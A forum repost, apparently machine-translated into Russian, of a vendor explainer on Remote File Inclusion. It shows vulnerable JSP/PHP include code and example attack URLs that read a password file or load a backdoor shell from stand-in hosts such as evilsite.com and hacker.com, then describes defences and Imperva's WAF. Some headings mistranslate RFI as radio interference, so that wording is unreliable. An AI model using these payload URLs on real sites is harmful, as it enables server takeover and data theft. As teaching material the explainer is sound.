Что такое Удаленное включение файлов (RFI)

Mutt

Professional
Messages
1,059
Reputation
7
Reaction score
573
Points
113
Содержание статьи
  • Что такое RFI
  • Различия между RFI и LFI
  • Примеры удаленного включения файлов
  • Предотвращение и смягчение последствий радиочастотных помех своими руками
  • Специальная защита от радиопомех

Что такое RFI
Удаленное включение файлов (RFI) - это атака, нацеленная на уязвимости в веб-приложениях, которые динамически ссылаются на внешние скрипты. Цель злоумышленника - использовать функцию ссылки в приложении для загрузки вредоносного ПО (например, оболочки бэкдора) с удаленного URL-адреса, расположенного в другом домене.
Последствия успешной RFI-атаки включают кражу информации, взлом серверов и захват сайта, позволяющий изменять контент.

График ниже иллюстрирует типичный поток атаки RFI.

what-is-rfi-attack.png.webp


Различия между RFI и LFI
Подобно RFI, включение локальных файлов (LFI) - это вектор, который включает загрузку вредоносных файлов на серверы через веб-браузеры. Эти два вектора часто упоминаются вместе в контексте атак включения файлов.

В обоих случаях успешная атака приводит к загрузке вредоносного ПО на целевой сервер. Однако, в отличие от RFI, атаки LFI нацелены на использование небезопасных локальных функций загрузки файлов, которые не могут проверить вводимые пользователем / контролируемые данные.

В результате разрешена загрузка злонамеренных персонажей и атаки на обход каталога / пути. Затем злоумышленники могут напрямую загружать вредоносное ПО в скомпрометированную систему, а не извлекать его с помощью функции внешних ссылок из удаленного места.

Примеры удаленного включения файлов
Чтобы проиллюстрировать, как работают проникновения RFI, рассмотрим эти примеры:

1. Страница JSP содержит следующую строку кода: <jsp: include page = »<% = (String) request.getParmeter (« ParamName »)%>»> можно изменить с помощью следующего запроса: Page1.jsp? ParamName = / WEB-INF / DB / пароль .

Обработка запроса раскрывает злоумышленнику содержимое файла паролей.

2. В веб-приложении есть оператор импорта, который запрашивает контент с URL-адреса, как показано здесь: <c: import url = »<= request.getParameter (« conf »)%>»> .

Если не пройти дезинфекцию, то же состояние можно использовать для внедрения вредоносного ПО.

Например: Page2.jsp? Conf = https: //evilsite.com/attack.js .

3. RFI-атаки часто запускаются путем манипулирования параметрами запроса для ссылки на удаленный вредоносный файл.

Например, рассмотрим следующий код:
Code:
$incfile = $_REQUEST["file"]; include($incfile.".php");

Здесь первая строка извлекает значение параметра файла из HTTP-запроса, а вторая строка использует это значение для динамической установки имени файла. При отсутствии соответствующей очистки значения параметра файла этот код может быть использован для несанкционированной загрузки файлов.

Например, эта строка URL http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_ содержит внешнюю ссылку на файл бэкдора, хранящийся в удаленном месте (http: / /www.hacker.com/backdoor_shell.php).

После загрузки в приложение этот бэкдор можно позже использовать для взлома базового сервера или получения доступа к базе данных приложения.

r57-backdoor-shell.jpg.webp

Оболочка бэкдора R57 - популярный выбор для атак RFI.

Предотвращение и смягчение последствий радиочастотных помех своими руками
В некоторой степени вы можете минимизировать риск RFI-атак за счет надлежащей проверки и дезинфекции входных данных. Однако, когда вы это сделаете, важно избежать неправильного представления о том, что все данные, вводимые пользователем, могут быть полностью дезинфицированы. В результате дезинфекцию следует рассматривать только как дополнение к специализированному решению безопасности.

При этом всегда предпочтительнее дезинфицировать вводимые пользователем / контролируемые вводы в меру своих возможностей. Эти входные данные включают:
  • Параметры GET / POST
  • Параметры URL
  • Значения файлов cookie
  • Значения HTTP-заголовка
В процессе очистки поля ввода следует проверять по белому списку (разрешенный набор символов), а не по черному списку (запрещенные вредоносные символы). Вообще говоря, проверка черного списка считается слабым решением, поскольку злоумышленники могут выбрать ввод данных в другом формате, например в кодированном или шестнадцатеричном формате.

Также рекомендуется применять механизмы проверки вывода на стороне сервера. Функции проверки на стороне клиента, позволяющие снизить накладные расходы на обработку, также уязвимы для атак со стороны инструментов прокси.

Наконец, вам следует подумать об ограничении разрешений на выполнение для каталогов загрузки и поддерживать белый список допустимых типов файлов (например, PDF, DOC, JPG и т. д.), А также ограничить размеры загружаемых файлов.

Специальная защита от радиопомех
Как уже упоминалось, дезинфекции ввода и надлежащих методов управления файлами почти никогда не бывает достаточно, даже если они эффективно минимизируют риск RFI. Это важно, поскольку многие атаки успешны из-за ложного чувства безопасности, которое поощряется практикой DIY.

Imperva предлагает ряд решений для борьбы с атаками RFI. Первым среди них является наш брандмауэр веб-приложений (WAF), который отслеживает вводимые пользователем данные и отфильтровывает вредоносные запросы, используя комбинацию эвристики безопасности на основе сигнатур, поведения и репутации. WAF развертывается как безопасный прокси-сервер и, как таковой, блокирует попытки RFI на границе сервера - до того, как они смогут взаимодействовать с вашим веб-приложением.

Кроме того, на случай, если ваше приложение будет скомпрометировано до активации наших служб, Imperva предлагает защиту от бэкдора - реактивную меру, которая обнаруживает и помещает в карантин бэкдоры, уже установленные на вашем сервере.

Наконец, технология краудсорсинга позволяет нам поддерживать постоянно обновляемую базу данных скомпрометированных доменов, которые служат централизованными точками распространения вредоносного ПО, внедренного во время RFI-атак. Мониторинг этих доменов обеспечивает дополнительную точность нашего процесса фильтрации, а также позволяет быстро реагировать на новые векторы атак RFI, включая атаки RFI нулевого дня.
 
Top